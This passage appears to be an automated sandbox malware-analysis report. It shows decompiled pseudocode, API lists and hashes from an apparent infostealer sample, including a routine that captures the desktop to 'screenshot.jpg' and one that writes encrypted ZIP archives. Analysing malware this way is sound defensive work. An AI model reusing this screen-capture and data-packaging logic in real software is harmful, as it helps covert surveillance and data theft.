\Pro, xrefs: 00416F6B, 00416F6E
%s\%s, xrefs: 00417028
%s\%s\%s\%s, xrefs: 0041706B
%s\%s\%s, xrefs: 004170A7

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$wsprintf$File$Find$CopyCountTick_malloc_rand$AttributesCloseFirstNext
String ID: %s\%s$%s\%s\%s$%s\%s\%s\%s$%s\*$\Pro
API String ID: 3094832508-3807450780
Opcode ID: e52530de964d6b8d257105bfe8268a36f692a96abeb6ee0eb0d774deb15d24f2
Instruction ID: 8ee3e7253a690e15b2b8c0f004a93aae323bce5c436ec891a6d10e0c67806236
Opcode Fuzzy Hash: e52530de964d6b8d257105bfe8268a36f692a96abeb6ee0eb0d774deb15d24f2
Instruction Fuzzy Hash: 98C18171A04618ABDB24DF54DC84FEBB779AB88742F0081DAF909A3241DA34AFC5CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00420CE0 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 147
windowCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00420CE0() {
				signed int _v8;
				char _v24;
				struct tagRECT _v40;
				char _v44;
				char _v48;
				void* _v52;
				void* _v56;
				intOrPtr _v60;
				char _v64;
				void* _v68;
				void* _v72;
				struct HWND__* _v76;
				struct HWND__* _v80;
				struct HWND__* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t37;
				intOrPtr _t39;
				void* _t42;
				void* _t45;
				void* _t51;
				void* _t55;
				void* _t59;
				void* _t61;
				struct HDC__* _t74;
				struct HWND__* _t92;
				signed int _t93;

				_t37 =  *0x450664; // 0x30e242aa
				_v8 = _t37 ^ _t93;
				_t39 =  *0x4532ac; // 0x0
				_t92 = 0;
				_t91 = 1;
				_v60 = _t39;
				_v88 = 1;
				_v84 = 0;
				_v80 = 0;
				_v76 = 0;
				L00429B30( &_v88, 0, 0x10);
				_t85 =  &_v88;
				_v88 = 1;
				_t42 =  *0x4534ec( &_v64,  &_v88, 0); // executed
				if(_t42 == 0) {
					_t45 =  *0x45344c(0, 1,  &_v48); // executed
					if(_t45 == 0) {
						_t92 = GetDesktopWindow();
						GetWindowRect(_t92,  &_v40);
						_t74 = GetDC(_t92);
						_t91 = CreateCompatibleDC(_t74);
						_t51 = CreateCompatibleBitmap(_t74, _v40.right, _v40.bottom);
						_v52 = _t51;
						_v68 = SelectObject(_t91, _t51);
						BitBlt(_t91, 0, 0, _v40.right, _v40.bottom, _t74, 0, 0, 0xcc0020);
						_t85 = _v52;
						_t55 =  *0x4534ac(_v52, 0,  &_v44); // executed
						if(_t55 == 0 && L00420C30( &_v24) != 0xffffffff) {
							_t85 = _v48;
							_t59 =  *0x453480(_v44, _v48,  &_v24, 0); // executed
							if(_t59 == 0) {
								 *0x453348(_v48,  &_v56);
								_t61 = _v56;
								GlobalFix(_t61);
								_v72 = _t61;
								L00428F40(_v60, "\\screenshot.jpg", _v72, GlobalSize(_v56));
								SelectObject(_t91, _v68);
								 *0x4533c0(_v44); // executed
								_t85 = _v64;
								 *0x4534cc(_v64);
								DeleteObject(_v52);
								DeleteObject(_t91);
								ReleaseDC(_t92, _t74);
								CloseWindow(_t92); // executed
							}
						}
					}
				}
				return E00429B16(0, _t74, _v8 ^ _t93, _t85, _t91, _t92);
			}

0x00420ce6
0x00420ced
0x00420cf0
0x00420cf8
0x00420d00
0x00420d06
0x00420d09
0x00420d0c
0x00420d0f
0x00420d12
0x00420d15
0x00420d1e
0x00420d26
0x00420d29
0x00420d31
0x00420d3d
0x00420d45
0x00420d54
0x00420d58
0x00420d65
0x00420d71
0x00420d79
0x00420d81
0x00420d98
0x00420da4
0x00420daa
0x00420db4
0x00420dbc
0x00420dd7
0x00420de5
0x00420ded
0x00420df7
0x00420dfd
0x00420e01
0x00420e0b
0x00420e21
0x00420e2e
0x00420e38
0x00420e3e
0x00420e42
0x00420e4c
0x00420e53
0x00420e5b
0x00420e62
0x00420e62
0x00420ded
0x00420dbc
0x00420d45
0x00420e7a

APIs

_memset.LIBCMT ref: 00420D15
GetDesktopWindow.USER32 ref: 00420D4B
GetWindowRect.USER32(00000000,?), ref: 00420D58
GetDC.USER32(00000000), ref: 00420D5F
CreateCompatibleDC.GDI32(00000000), ref: 00420D68
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00420D79
SelectObject.GDI32(00000000,00000000), ref: 00420D84
BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00420DA4
GlobalFix.KERNEL32(?), ref: 00420E01
GlobalSize.KERNEL32(?), ref: 00420E0E
SelectObject.GDI32(00000000,?), ref: 00420E2E
DeleteObject.GDI32(00000001), ref: 00420E4C
DeleteObject.GDI32(00000000), ref: 00420E53
ReleaseDC.USER32(00000000,00000000), ref: 00420E5B
CloseWindow.USER32(00000000), ref: 00420E62

Strings

\screenshot.jpg, xrefs: 00420E1C

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Object$Window$CompatibleCreateDeleteGlobalSelect$BitmapCloseDesktopRectReleaseSize_memset
String ID: \screenshot.jpg
API String ID: 591712143-3844582059
Opcode ID: 1a3800e49d50773b96c73499d809fe68b21309ac7c33a963a234c6dc0ce0ec4d
Instruction ID: 68ace0e4c74faa46cd913dd1b181fbaa902a42b6b803bdb5cb4850554aa7b71f
Opcode Fuzzy Hash: 1a3800e49d50773b96c73499d809fe68b21309ac7c33a963a234c6dc0ce0ec4d
Instruction Fuzzy Hash: 2F51FEB1A00218AFDB11DFE4ED49EAEB7B8EF49742F104529F901E3251DB34EA05CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00428410 Relevance: 26.9, APIs: 14, Strings: 1, Instructions: 644
COMMONCrypto

Download Yara Rule

C-Code - Quality: 77%

			E00428410(signed int* __ecx, signed int __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v32;
				char _v33;
				char _v44;
				char _v56;
				char _v320;
				signed int _v324;
				signed int _v328;
				signed int _v336;
				char _v596;
				char _v856;
				signed int _v860;
				char* _v864;
				char* _v868;
				char _v1128;
				intOrPtr _v1132;
				signed int _v1136;
				short _v1140;
				short _v1142;
				short _v1144;
				signed int _v1148;
				intOrPtr _v1152;
				intOrPtr _v1156;
				int _v1160;
				signed int _v1164;
				signed int _v1168;
				signed int _v1172;
				unsigned int _v1176;
				signed int _v1178;
				signed int _v1180;
				char _v1184;
				signed int _v1188;
				signed int _v1189;
				signed int _v1196;
				signed int _v1200;
				signed int _v1204;
				void* _v1208;
				signed int* _v1212;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t292;
				intOrPtr _t294;
				char* _t299;
				intOrPtr _t300;
				int _t304;
				short _t306;
				signed int _t307;
				signed int _t310;
				signed int _t313;
				signed int _t316;
				signed int _t320;
				int _t321;
				signed int _t326;
				signed int _t328;
				signed int _t335;
				signed char _t338;
				unsigned int _t342;
				unsigned int _t345;
				signed int _t349;
				signed int _t353;
				signed int _t354;
				intOrPtr _t356;
				signed int _t361;
				signed int _t371;
				signed int _t373;
				void* _t374;
				signed int _t378;
				signed int _t380;
				signed int _t388;
				signed int _t394;
				void* _t395;
				signed int _t400;
				signed int _t404;
				signed char _t413;
				signed char _t419;
				signed char _t428;
				signed int _t438;
				signed int _t447;
				signed int _t449;
				signed int _t451;
				intOrPtr _t454;
				unsigned int _t457;
				unsigned int _t462;
				signed int _t471;
				signed int _t521;
				signed int _t535;
				signed char* _t555;
				intOrPtr _t557;
				signed int _t558;
				signed int _t563;
				void* _t564;
				unsigned int _t571;
				signed int _t576;
				signed int _t578;
				signed int _t584;
				void* _t585;
				void* _t586;

				_t498 = __edx;
				_t292 =  *0x450664; // 0x30e242aa
				_v12 = _t292 ^ _t584;
				_t294 = _a4;
				_t562 = __ecx;
				_t541 = __edx;
				_v1212 = __ecx;
				_v1196 = __edx;
				if(__ecx[5] == 0) {
					__eflags = __ecx[0xb];
					if(__ecx[0xb] == 0) {
						__eflags =  *__ecx;
						_v1208 = 0;
						if( *__ecx != 0) {
							__eflags = _a12 - 4;
							if(_a12 != 4) {
								_v1208 = 0xc;
							}
						}
						 *0x45358c( &_v320, _t294);
						__eflags = _v320;
						if(_v320 == 0) {
							L91:
							_t297 = 0x10000;
							goto L92;
						} else {
							_t299 =  &_v320;
							do {
								__eflags =  *_t299 - 0x5c;
								if( *_t299 == 0x5c) {
									 *_t299 = 0x2f;
								}
								_t299 = _t299 + 1;
								__eflags =  *_t299;
							} while ( *_t299 != 0);
							__eflags = _a12 - 4;
							_t400 = _t400 & 0xffffff00 | _a12 == 0x00000004;
							_v1189 = _t400;
							__eflags = _t400;
							if(_t400 == 0) {
								L14:
								_v1188 = 0;
							} else {
								_t395 = L00429C90( &_v320);
								_t498 =  &_v320;
								_t585 = _t585 + 4;
								__eflags =  *((char*)(_t395 + _t498 - 1)) - 0x2f;
								_v1188 = 1;
								if( *((char*)(_t395 + _t498 - 1)) == 0x2f) {
									goto L14;
								}
							}
							_v1204 = 8;
							__eflags = _t400;
							if(_t400 != 0) {
								L17:
								_v1204 = 0;
							} else {
								_t394 = L00427720( &_v320);
								_t541 = _v1196;
								__eflags = _t394;
								if(_t394 != 0) {
									goto L17;
								}
							}
							_t300 = _a12;
							__eflags = _t300 - 2;
							if(_t300 != 2) {
								__eflags = _t300 - 1;
								if(_t300 != 1) {
									__eflags = _t300 - 3;
									if(_t300 != 3) {
										__eflags = _t300 - 4;
										if(_t300 != 4) {
											goto L91;
										} else {
											_t297 = E00428070(_t541, _t562);
											goto L26;
										}
									} else {
										_t297 = L00427F40(_t541, _t541, _t562, _a8);
										goto L26;
									}
								} else {
									_t297 = L00427DE0(_t562, _t541, _a8);
									_t400 = _v1189;
									goto L26;
								}
							} else {
								_t297 = E00427D60(_t541, _t562);
								L26:
								_t541 = 0;
								__eflags = _t297;
								if(_t297 != 0) {
									L92:
									__eflags = _v12 ^ _t584;
									return E00429B16(_t297, _t400, _v12 ^ _t584, _t498, _t541, _t562);
								} else {
									_v324 = 0;
									 *0x45358c( &_v1128, 0x4485e7);
									 *0x45358c( &_v856,  &_v320);
									_t304 = lstrlenA( &_v856);
									__eflags = _v1188;
									_v1160 = _t304;
									if(_v1188 != 0) {
										lstrcatA( &_v856, "/");
										_t41 =  &_v1160;
										 *_t41 = _v1160 + 1;
										__eflags =  *_t41;
									}
									 *0x45358c( &_v596, 0x4485e7);
									_v1142 = 0;
									_t306 = 8;
									_v860 = _t541;
									_v1148 = _t541;
									_v336 = 1;
									_v328 = _t541;
									_v1184 = 0x140b17;
									_v1176 = _t562[0x1a];
									_v1172 = _t541;
									_v1180 = 8;
									__eflags =  *_t562 - _t541;
									if( *_t562 != _t541) {
										__eflags = _t400;
										if(_t400 == 0) {
											_t306 = 9;
											_v1180 = 9;
										}
									}
									_v1140 = _t306;
									_t307 = _v1204;
									_v1178 = _t307;
									__eflags = _t307 - _t541;
									if(_t307 != _t541) {
										L35:
										_v1168 = _t541;
									} else {
										_t388 = _t562[0x1c];
										__eflags = _t388 - _t541;
										if(_t388 < _t541) {
											goto L35;
										} else {
											_v1168 = _v1208 + _t388;
										}
									}
									_v1164 = _t562[0x1c];
									_v1132 = _t562[6] + _t562[4];
									_v1144 = 0;
									_v1136 = _t562[0x13];
									_v27 = _t562[0x16];
									_v868 =  &_v32;
									_t310 = _t562[0x17];
									_v864 =  &_v56;
									_t447 = _t562[0x16];
									_v26 = (_t310 << 0x00000020 | _t447) >> 8;
									_v25 = (_t310 << 0x00000020 | _t447) >> 0x10;
									_v23 = _t562[0x14] & 0x000000ff;
									_t313 = _t562[0x15];
									_v24 = (_t310 << 0x00000020 | _t447) >> 0x18;
									_t449 = _t562[0x14];
									_v22 = (_t313 << 0x00000020 | _t449) >> 8;
									_v20 = (_t313 << 0x00000020 | _t449) >> 0x18;
									_t451 = _t562[0x18];
									_v19 = _t562[0x18] & 0x000000ff;
									_t316 = _t562[0x19];
									_v21 = (_t313 << 0x00000020 | _t449) >> 0x10;
									_v18 = (_t316 << 0x00000020 | _t451) >> 8;
									_v16 = (_t316 << 0x00000020 | _t451) >> 0x18;
									_v1156 = 0x11;
									_v1152 = 9;
									_v32 = 0xd5455;
									_v28 = 7;
									_v17 = (_t316 << 0x00000020 | _t451) >> 0x10;
									L00429D20( &_v56,  &_v32, 9);
									_t586 = _t585 + 0xc;
									 *((char*)(_v864 + 2)) = 5;
									_t320 = L00426C40( &_v56,  &_v1184, _t562, __eflags);
									__eflags = _t320;
									if(_t320 == 0) {
										_t321 = _v1160;
										_t454 = _v1156;
										_t144 = _t321 + 0x1e; // 0x2f
										_t520 = _t454 + _t144;
										_t562[6] = _t562[6] + _t454 + _t144;
										__eflags = _t562[5];
										if(_t562[5] == 0) {
											_t555 =  &(_t562[0xc]);
											_t562[0xd] = 0x23456789;
											_t562[0xe] = 0x34567890;
											_t563 =  *_t562;
											 *_t555 = 0x12345678;
											__eflags = _t563;
											if(_t563 != 0) {
												while(1) {
													__eflags =  *_t563;
													if( *_t563 == 0) {
														goto L45;
													}
													L004276D0(_t555);
													_t563 = _t563 + 1;
													__eflags = _t563;
													if(_t563 != 0) {
														continue;
													}
													goto L45;
												}
											}
											L45:
											__eflags =  *0x4536a9;
											if( *0x4536a9 == 0) {
												_t380 = GetDesktopWindow();
												__eflags = _t380 ^ GetTickCount();
												L0042D41F(_t380 ^ GetTickCount());
												_t586 = _t586 + 4;
											}
											_t564 = 0;
											__eflags = 0;
											do {
												 *((char*)(_t584 + _t564 - 0x28)) = L0042D431(__eflags) >> 7;
												_t564 = _t564 + 1;
												__eflags = _t564 - 0xc;
											} while (__eflags < 0);
											_t455 =  *_t555;
											_t521 = 0;
											__eflags = 0;
											_v33 = _v1176 >> 8;
											_t326 = _t555[8];
											_v1200 = 0;
											_v1196 = _t555[4];
											do {
												_t457 =  *(0x4487d8 + (( *(_t584 + _t521 - 0x28) ^ _t455) & 0x000000ff) * 4) ^ _t455 >> 0x00000008;
												_t571 = 1 + ((_t457 & 0x000000ff) + _v1196) * 0x8088405;
												 *_t555 = _t457;
												_t555[4] = _t571;
												_t328 = _t326 >> 0x00000008 ^  *(0x4487d8 + ((_t571 >> 0x00000018 ^ _t326) & 0x000000ff) * 4);
												_t404 = _v1200;
												_t555[8] = _t328;
												 *(_t584 + _t404 - 0x28) = ((_t326 & 0x0000fffd | 0x00000002) ^ 0x00000001) * (_t326 & 0x0000fffd | 0x00000002) >> 0x00000008 ^  *(_t584 + _t404 - 0x28);
												_t535 = _t404;
												_v1188 =  *(_t584 + _t535 - 0x27) & 0x000000ff;
												_v1200 = _t328 & 0x0000fffd | 0x00000002;
												_t413 =  *(0x4487d8 + ((_v1188 ^ _t457) & 0x000000ff) * 4) ^ _t457 >> 0x00000008;
												_t462 = 1 + ((_t413 & 0x000000ff) + _t571) * 0x8088405;
												 *_t555 = _t413;
												_v1196 = _t413;
												_t555[4] = _t462;
												_t576 = _t328 >> 0x00000008 ^  *(0x4487d8 + ((_t462 >> 0x00000018 ^ _t328) & 0x000000ff) * 4);
												 *(_t584 + _t535 - 0x27) = (_v1200 ^ 0x00000001) * _v1200 >> 0x00000008 ^ _v1188;
												_t419 =  *(_t584 + _t535 - 0x26);
												_v1188 = _t419;
												_v1200 = _t576 & 0x0000fffd | 0x00000002;
												_t335 = _v1196;
												_v1196 = _t335 >> 8;
												_t555[8] = _t576;
												_t338 =  *(0x4487d8 + ((_t419 ^ _t335) & 0x000000ff) * 4) ^ _v1196;
												_v1196 = _t338;
												 *_t555 = _t338;
												_t342 = 1 + ((_t338 & 0x000000ff) + _t462) * 0x8088405;
												_t555[4] = _t342;
												_t578 = _t576 >> 0x00000008 ^  *(0x4487d8 + ((_t342 >> 0x00000018 ^ _t576) & 0x000000ff) * 4);
												 *(_t584 + _t535 - 0x26) = (_v1200 ^ 0x00000001) * _v1200 >> 0x00000008 ^ _v1188;
												_t428 =  *((intOrPtr*)(_t584 + _t535 - 0x25));
												_v1188 = _t428;
												_v1200 = _t578 & 0x0000fffd | 0x00000002;
												_t471 = _v1196;
												_t555[8] = _t578;
												_v1196 = _t471 >> 8;
												_t455 =  *(0x4487d8 + ((_t428 ^ _t471) & 0x000000ff) * 4) ^ _v1196;
												_t521 = _t535 + 4;
												_t345 = 1 + (_t342 + (_t455 & 0x000000ff)) * 0x8088405;
												_t555[4] = _t345;
												_v1196 = _t345;
												 *_t555 = _t455;
												_t326 = _t578 >> 0x00000008 ^  *(0x4487d8 + ((_t345 >> 0x00000018 ^ _t578) & 0x000000ff) * 4);
												_t555[8] = _t326;
												 *(_t584 + _t521 - 0x29) = (_v1200 ^ 0x00000001) * _v1200 >> 0x00000008 ^ _v1188;
												_v1200 = _t521;
												__eflags = _t521 - 0xc;
											} while (_t521 < 0xc);
											_t562 = _v1212;
											_t438 = _v1189;
											_t541 = 0;
											__eflags =  *_t562;
											if( *_t562 == 0) {
												L57:
												_t349 = 0;
												__eflags = 0;
											} else {
												__eflags = _t438;
												if(_t438 == 0) {
													_t455 = _t562;
													E00427B50(_t562,  &_v44, 0xc);
													_t231 =  &(_t562[6]);
													 *_t231 = _t562[6] + 0xc;
													__eflags =  *_t231;
												}
												__eflags =  *_t562 - _t541;
												if( *_t562 == _t541) {
													goto L57;
												} else {
													__eflags = _t438;
													if(_t438 != 0) {
														goto L57;
													} else {
														_t349 = 1;
													}
												}
											}
											__eflags = _t438;
											_t400 = _v1204;
											_t562[0xb] = _t349;
											if(_t438 != 0) {
												_t562[0x24] = _t541;
											} else {
												__eflags = _t400 - 8;
												if(_t400 != 8) {
													__eflags = _t400;
													if(__eflags == 0) {
														_t541 = L004283A0(_t455, _t562, __eflags);
													}
												} else {
													_t378 = E00428290(_t455, _t562,  &_v1184); // executed
													_t541 = _t378;
												}
											}
											__eflags = _t562[0x20];
											_t562[0xb] = 0;
											if(_t562[0x20] != 0) {
												_t374 = _t562[0x1f];
												__eflags = _t374;
												if(_t374 != 0) {
													CloseHandle(_t374);
												}
											}
											_t498 = _t562[0x24];
											_t297 = _t562[5];
											_t474 = _t562[0x1d];
											_t562[6] = _t562[6] + _t498;
											_t562[0x1f] = 0;
											_t562[0x1c] = _t474;
											__eflags = _t562[5];
											if(_t562[5] != 0) {
												goto L92;
											} else {
												__eflags = _t541;
												if(_t541 != 0) {
													goto L38;
												} else {
													_t556 = _t562[0x1e];
													_t353 = _v1208 + _t498;
													__eflags = _v1168 - _t353;
													_v1172 = _t562[0x1e];
													_t498 = _t498 & 0xffffff00 | _v1168 == _t353;
													__eflags = _t562[7];
													_v1168 = _t353;
													_v1164 = _t474;
													if(_t562[7] == 0) {
														L78:
														__eflags = _v1178 - _t400;
														if(_v1178 == _t400) {
															__eflags = _t400;
															if(__eflags != 0) {
																L82:
																_t541 =  &_v1184;
																_t354 = L00426EE0(_t474,  &_v1184, _t562, __eflags);
																__eflags = _t354;
																if(_t354 != 0) {
																	goto L38;
																} else {
																	_t274 =  &(_t562[6]);
																	 *_t274 = _t562[6] + 0x10;
																	__eflags =  *_t274;
																	_v1180 = _v1140;
																	goto L84;
																}
															} else {
																__eflags = _t498;
																if(__eflags == 0) {
																	goto L79;
																} else {
																	goto L82;
																}
															}
														} else {
															L79:
															__eflags = _v12 ^ _t584;
															return E00429B16(0x4000000, _t400, _v12 ^ _t584, _t498, _t556, _t562);
														}
													} else {
														__eflags =  *_t562;
														if( *_t562 == 0) {
															L72:
															__eflags = _v1180 & 0x00000001;
															_v1178 = _t400;
															if((_v1180 & 0x00000001) == 0) {
																_t474 = 0xfff7;
																_t261 =  &_v1180;
																 *_t261 = _v1180 & 0x0000fff7;
																__eflags =  *_t261;
															}
															_v1140 = _v1180;
															_t498 = _v1132 - _t562[4];
															__eflags = L00427CB0(_t562, _v1132 - _t562[4]);
															if(__eflags == 0) {
																L77:
																__eflags = _v12 ^ _t584;
																return E00429B16(0x2000000, _t400, _v12 ^ _t584, _t498, _t556, _t562);
															} else {
																_t541 =  &_v1184;
																_t371 = L00426C40(_t474,  &_v1184, _t562, __eflags);
																__eflags = _t371;
																if(_t371 != 0) {
																	goto L38;
																} else {
																	_t498 = _t562[6];
																	_t373 = L00427CB0(_t562, _t562[6]);
																	__eflags = _t373;
																	if(_t373 != 0) {
																		L84:
																		_t297 = _t562[5];
																		__eflags = _t562[5];
																		if(__eflags != 0) {
																			goto L92;
																		} else {
																			_push(_v1152);
																			_t356 = E0042A7D1(_t498, _t541, _t562, __eflags);
																			_t536 = _v1152;
																			_t557 = _t356;
																			L00429D20(_t557, _v864, _v1152);
																			_push(0x360);
																			_v864 = _t557;
																			_t558 = E0042A7D1(_v1152, _t557, _t562, __eflags);
																			L00429D20(_t558,  &_v1184, 0x360);
																			_t361 = _t562[0x11];
																			__eflags = _t361;
																			if(_t361 != 0) {
																				__eflags =  *(_t361 + 0x35c);
																				while( *(_t361 + 0x35c) != 0) {
																					_t361 =  *(_t361 + 0x35c);
																					__eflags =  *(_t361 + 0x35c);
																				}
																				 *(_t361 + 0x35c) = _t558;
																				__eflags = _v12 ^ _t584;
																				return E00429B16(0, _t400, _v12 ^ _t584, _t536, _t558, _t562);
																			} else {
																				_t562[0x11] = _t558;
																				__eflags = _v12 ^ _t584;
																				return E00429B16(_t361, _t400, _v12 ^ _t584, _t536, _t558, _t562);
																			}
																		}
																	} else {
																		goto L77;
																	}
																}
															}
														} else {
															__eflags = _v1189;
															if(_v1189 == 0) {
																goto L78;
															} else {
																goto L72;
															}
														}
													}
												}
											}
										} else {
											E00428230(_t562);
											__eflags = _v12 ^ _t584;
											return E00429B16(_t562[5], _t400, _v12 ^ _t584, _t520,  &_v1184, _t562);
										}
									} else {
										E00428230(_t562);
										L38:
										__eflags = _v12 ^ _t584;
										return E00429B16(0x400, _t400, _v12 ^ _t584, _t498, _t541, _t562);
									}
								}
							}
						}
					} else {
						__eflags = _v12 ^ _t584;
						return E00429B16(0x50000, _t400, _v12 ^ _t584, __edx, __edx, __ecx);
					}
				} else {
					return E00429B16(0x40000, _t400, _v12 ^ _t584, __edx, __edx, __ecx);
				}
			}

0x00428410
0x00428419
0x00428420
0x00428423
0x00428428
0x0042842f
0x00428431
0x00428437
0x0042843d
0x00428457
0x0042845b
0x00428475
0x00428478
0x00428482
0x00428484
0x00428488
0x0042848a
0x0042848a
0x00428488
0x0042849c
0x004284a2
0x004284a9
0x00428d0a
0x00428d0a
0x00000000
0x004284af
0x004284af
0x004284b5
0x004284b5
0x004284b8
0x004284ba
0x004284ba
0x004284bd
0x004284be
0x004284be
0x004284c3
0x004284c7
0x004284ca
0x004284d0
0x004284d2
0x004284f7
0x004284f7
0x004284d4
0x004284db
0x004284e0
0x004284e6
0x004284e9
0x004284ee
0x004284f5
0x00000000
0x00000000
0x004284f5
0x004284fe
0x00428508
0x0042850a
0x00428521
0x00428521
0x0042850c
0x00428512
0x00428517
0x0042851d
0x0042851f
0x00000000
0x00000000
0x0042851f
0x0042852b
0x0042852e
0x00428531
0x0042853c
0x0042853f
0x00428556
0x00428559
0x00428568
0x0042856b
0x00000000
0x00428571
0x00428571
0x00000000
0x00428571
0x0042855b
0x00428561
0x00000000
0x00428561
0x00428541
0x00428549
0x0042854e
0x00000000
0x0042854e
0x00428533
0x00428535
0x00428576
0x00428576
0x00428578
0x0042857a
0x00428d0f
0x00428d14
0x00428d1f
0x00428580
0x0042858c
0x00428592
0x004285a6
0x004285b3
0x004285b9
0x004285c0
0x004285c6
0x004285d4
0x004285da
0x004285da
0x004285da
0x004285da
0x004285ec
0x004285f4
0x004285fe
0x00428603
0x00428609
0x0042860f
0x00428619
0x0042861f
0x00428629
0x0042862f
0x00428635
0x0042863c
0x0042863e
0x00428640
0x00428642
0x00428644
0x00428649
0x00428649
0x00428642
0x00428650
0x00428657
0x0042865d
0x00428664
0x00428666
0x0042867d
0x0042867d
0x00428668
0x00428668
0x0042866b
0x0042866d
0x00000000
0x0042866f
0x00428675
0x00428675
0x0042866d
0x00428689
0x00428697
0x004286a0
0x004286a7
0x004286ad
0x004286b3
0x004286b9
0x004286c1
0x004286c7
0x004286d3
0x004286ec
0x004286ef
0x004286f2
0x004286f5
0x004286f8
0x00428706
0x0042871f
0x00428722
0x00428725
0x00428728
0x0042872b
0x00428736
0x00428750
0x00428758
0x00428762
0x0042876c
0x00428773
0x0042877a
0x0042877d
0x00428788
0x00428791
0x00428795
0x0042879a
0x0042879c
0x004287bb
0x004287c1
0x004287c7
0x004287c7
0x004287cb
0x004287ce
0x004287d2
0x004287ef
0x004287f2
0x004287f9
0x00428800
0x00428802
0x00428808
0x0042880a
0x00428810
0x00428812
0x00428814
0x00000000
0x00000000
0x00428818
0x0042881d
0x0042881d
0x0042881e
0x00000000
0x00000000
0x00000000
0x0042881e
0x00428810
0x00428820
0x00428820
0x00428827
0x00428829
0x00428837
0x0042883a
0x0042883f
0x0042883f
0x00428842
0x00428842
0x00428844
0x0042884c
0x00428850
0x00428851
0x00428851
0x0042885f
0x00428864
0x00428864
0x00428866
0x00428869
0x0042886c
0x00428872
0x00428878
0x00428893
0x004288af
0x004288ba
0x004288bc
0x004288c5
0x004288d4
0x004288e1
0x004288e4
0x004288e8
0x004288ef
0x00428900
0x0042891f
0x0042892c
0x0042892d
0x00428939
0x00428945
0x0042894f
0x0042896a
0x0042896e
0x0042897a
0x00428980
0x00428986
0x0042899a
0x004289a0
0x004289aa
0x004289b0
0x004289b6
0x004289c3
0x004289cb
0x004289d7
0x004289f7
0x004289fb
0x004289ff
0x00428a11
0x00428a17
0x00428a28
0x00428a2b
0x00428a38
0x00428a3e
0x00428a4c
0x00428a4d
0x00428a50
0x00428a63
0x00428a6c
0x00428a85
0x00428a88
0x00428a8c
0x00428a92
0x00428a92
0x00428a9b
0x00428aa1
0x00428aa7
0x00428aa9
0x00428aab
0x00428ad1
0x00428ad1
0x00428ad1
0x00428aad
0x00428aad
0x00428aaf
0x00428ab7
0x00428ab9
0x00428abe
0x00428abe
0x00428abe
0x00428abe
0x00428ac2
0x00428ac4
0x00000000
0x00428ac6
0x00428ac6
0x00428ac8
0x00000000
0x00428aca
0x00428aca
0x00428aca
0x00428ac8
0x00428ac4
0x00428ad3
0x00428ad5
0x00428adb
0x00428ade
0x00428b06
0x00428ae0
0x00428ae0
0x00428ae3
0x00428af7
0x00428af9
0x00428b02
0x00428b02
0x00428ae5
0x00428aee
0x00428af3
0x00428af3
0x00428ae3
0x00428b0c
0x00428b13
0x00428b17
0x00428b19
0x00428b1c
0x00428b1e
0x00428b21
0x00428b21
0x00428b1e
0x00428b27
0x00428b2d
0x00428b30
0x00428b33
0x00428b36
0x00428b3d
0x00428b40
0x00428b42
0x00000000
0x00428b48
0x00428b48
0x00428b4a
0x00000000
0x00428b50
0x00428b56
0x00428b59
0x00428b5b
0x00428b61
0x00428b67
0x00428b6a
0x00428b6e
0x00428b74
0x00428b7a
0x00428c05
0x00428c05
0x00428c0c
0x00428c26
0x00428c28
0x00428c2e
0x00428c2e
0x00428c34
0x00428c39
0x00428c3b
0x00000000
0x00428c41
0x00428c48
0x00428c48
0x00428c48
0x00428c4c
0x00000000
0x00428c4c
0x00428c2a
0x00428c2a
0x00428c2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00428c2c
0x00428c0e
0x00428c0e
0x00428c19
0x00428c23
0x00428c23
0x00428b80
0x00428b80
0x00428b83
0x00428b8e
0x00428b8e
0x00428b95
0x00428b9c
0x00428b9e
0x00428ba3
0x00428ba3
0x00428ba3
0x00428ba3
0x00428bb1
0x00428bbe
0x00428bc8
0x00428bca
0x00428bed
0x00428bf8
0x00428c02
0x00428bcc
0x00428bcc
0x00428bd2
0x00428bd7
0x00428bd9
0x00000000
0x00428bdf
0x00428bdf
0x00428be4
0x00428be9
0x00428beb
0x00428c53
0x00428c53
0x00428c56
0x00428c58
0x00000000
0x00428c5e
0x00428c64
0x00428c65
0x00428c6a
0x00428c73
0x00428c7e
0x00428c86
0x00428c8b
0x00428ca4
0x00428ca8
0x00428cad
0x00428cb3
0x00428cb5
0x00428ccd
0x00428cd4
0x00428ce0
0x00428ce6
0x00428ce6
0x00428cef
0x00428cfd
0x00428d07
0x00428cb7
0x00428cb7
0x00428cc0
0x00428cca
0x00428cca
0x00428cb5
0x00000000
0x00000000
0x00000000
0x00428beb
0x00428bd9
0x00428b85
0x00428b85
